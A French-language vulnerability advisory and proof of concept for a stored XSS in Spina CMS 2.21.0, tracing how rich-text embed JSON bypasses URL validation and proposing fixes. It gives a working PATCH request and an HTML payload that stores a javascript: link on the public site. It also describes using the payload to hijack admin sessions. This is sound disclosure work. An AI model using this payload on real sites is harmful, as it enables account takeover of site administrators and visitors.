
Preuve de concept et analyse technique pour CVE-2026-117182, une XSS stockée authentifiée dans Spina CMS 2.21.0 via un contournement de SafeUrlValidator sur le chemin de rendu du texte enrichi.
Spina CMS v2.21.0 permet à un utilisateur authentifié du personnel d'effectuer du Cross-Site Scripting stocké (XSS) sur le site public. Spina::SafeUrlValidator (introduit dans la PR #1448) ne s'exécute que lorsqu'un embed est enregistré via le formulaire d'embed de l'administration. Cependant, le contenu en texte enrichi est enregistré via le formulaire d'édition de page (Spina::Parts::Text), qui ne déclenche pas cette validation.
Lorsqu'une page est rendue, l'embed est reconstruit à partir du HTML/JSON stocké par Spina::Embeddable.from_json, qui n'effectue aucune validation, puis est affiché via link_to button.url. Comme l'intégralité du document est encapsulée dans un SafeBuffer par RichTextPresenter#to_s, une URL javascript: stockée dans le texte enrichi contourne la validation et devient un href actif, entraînant l'exécution de script dans l'origine du site public.
Impact : Un attaquant disposant d'un compte CMS authentifié peut injecter une charge utile qui s'exécute lorsqu'un visiteur non authentifié ou un administrateur connecté consulte la page publique. Cela peut entraîner le détournement de session, l'extraction de jetons CSRF et des actions authentifiées non autorisées au nom d'un administrateur.
| Champ | Valeur |
|---|---|
| CVE ID | CVE-2026-117182 |
| Official Record | cve.org/CVERecord?id=CVE-2026-117182 |
| Affected Version | Spina CMS (Ruby gem) <= 2.21.0 |
| Vulnerability Type | CWE-79: Cross-Site Scripting (Stored XSS) |
| Attack Vector | Network |
| Privileges Required | Low (Requires an authenticated CMS account) |
| Affected Component | Spina::RichTextPresenter, Spina::Embeddable.from_json, Spina::Admin::PagesController#page_params, app/views/spina/embeds/buttons/_button.html.erb |
| Original Report | SpinaCMS/Spina#1452 |
| Chemin du fichier | Description |
|---|---|
app/presenters/spina/rich_text_presenter.rb | Encapsule l'intégralité du document dans un SafeBuffer sans assainissement. |
lib/spina/embeddable.rb | Reconstruit l'embed à partir du JSON sans valider le schéma de l'URL. |
app/controllers/spina/admin/pages_controller.rb | Autorise tous les paramètres (permit!), contournant la validation au niveau du modèle sur le chemin du texte enrichi. |
app/views/spina/embeds/buttons/_button.html.erb | Affiche link_to button.url directement sur le site public. |
Chemin 1 : Formulaire d'embed (validé) Le formulaire d'embed construit l'objet via le modèle, déclenchant le validateur.
# app/controllers/spina/admin/embeds_controller.rb:9
@embeddable = Spina::Embeds.constantize(embed_type).new(embed_params)
# app/models/spina/embeds/button.rb:7-8
validates :url, :label, presence: true
Chemin 2 : Texte enrichi (non validé) Le contenu en texte enrichi est enregistré directement via les paramètres de la page et rendu ultérieurement sans validation.
# app/controllers/spina/admin/pages_controller.rb
def page_params
params.require(:page).permit!
end
# lib/spina/embeddable.rb:11-18, reached from rich_text_presenter.rb:37
def from_json(json)
attributes = JSON.parse(json)
attributes.transform_keys!(&:to_sym)
new(attributes)
rescue
Rails.logger.error "[#{self.class.name}] Couldn't parse JSON"
nil
end
Le point de sortie où l'URL non assainie est rendue :
<%# app/views/spina/embeds/buttons/_button.html.erb %>
<%= link_to button.url do %>
<%= button.label %>
<% end %>
Facteur contributif : RichTextPresenter#to_s enveloppe l'intégralité du document dans un ActiveSupport::SafeBuffer, ce qui signifie que tout ce qui n'est pas un embed <figure> est transmis tel quel.
Spina::Embeds::Button.new(
url: "javascript:void(document.title=String.fromCharCode(88))",
label: "Click me"
).valid?
# => false, "Url must be a relative path or start with http://, https://, mailto: or tel:"
Envoyez une requête PATCH /admin/pages/1 avec un jeton CSRF normal, en stockant le HTML suivant comme contenu de n'importe quelle partie Spina::Parts::Text sur une page publiée :
<figure data-trix-content-type="application/vnd+spina.embed+html">
<spina-embed data-embed-type="Spina::Embeds::Button"
data-embed-attributes='{"url":"javascript:void(document.title=String.fromCharCode(88))","label":"Click me"}'>
</spina-embed>
</figure>
Accédez à GET / (déconnecté). La page renvoie :
<a href="javascript:void(document.title=String.fromCharCode(88))">Click me</a>
Un clic réel de l'utilisateur (via un événement d'entrée de confiance, et non element.click()) exécute la charge utile. Comme elle s'exécute sur l'origine propre au site, une requête fetch() depuis la page publique portera le cookie de session du visiteur, permettant à l'attaquant de lire /admin/users et d'effectuer des écritures authentifiées.
sanitize() dans actions_component.html.erb). Le chemin de rendu du texte enrichi n'a jamais été assaini.Embeddable.from_jsonLa modification la plus légère consiste à réappliquer la politique d'URL à l'endroit même où les attributs sont lus depuis le JSON stocké.
def from_json(json)
attributes = JSON.parse(json)
attributes.transform_keys!(&:to_sym)
# Validate URL if present
if attributes[:url] && !SafeUrlValidator.new.safe?(attributes[:url])
return nil
end
new(attributes)
rescue
# ...
end
RichTextPresenterAssainir à la sortie dans RichTextPresenter résoudrait le problème du SafeBuffer, mais nécessite d'étendre la liste d'autorisation avec figure, spina-embed et leurs attributs data-embed-* afin que les embeds existants continuent de s'afficher.
| Date | Événement |
|---|---|
| 2026-10-18 | Problème #1452 signalé au dépôt SpinaCMS |
| 2026-10-30 | Enregistrement CVE officiel publié sur cve.org |
| — | En attente de la réponse du mainteneur concernant le correctif |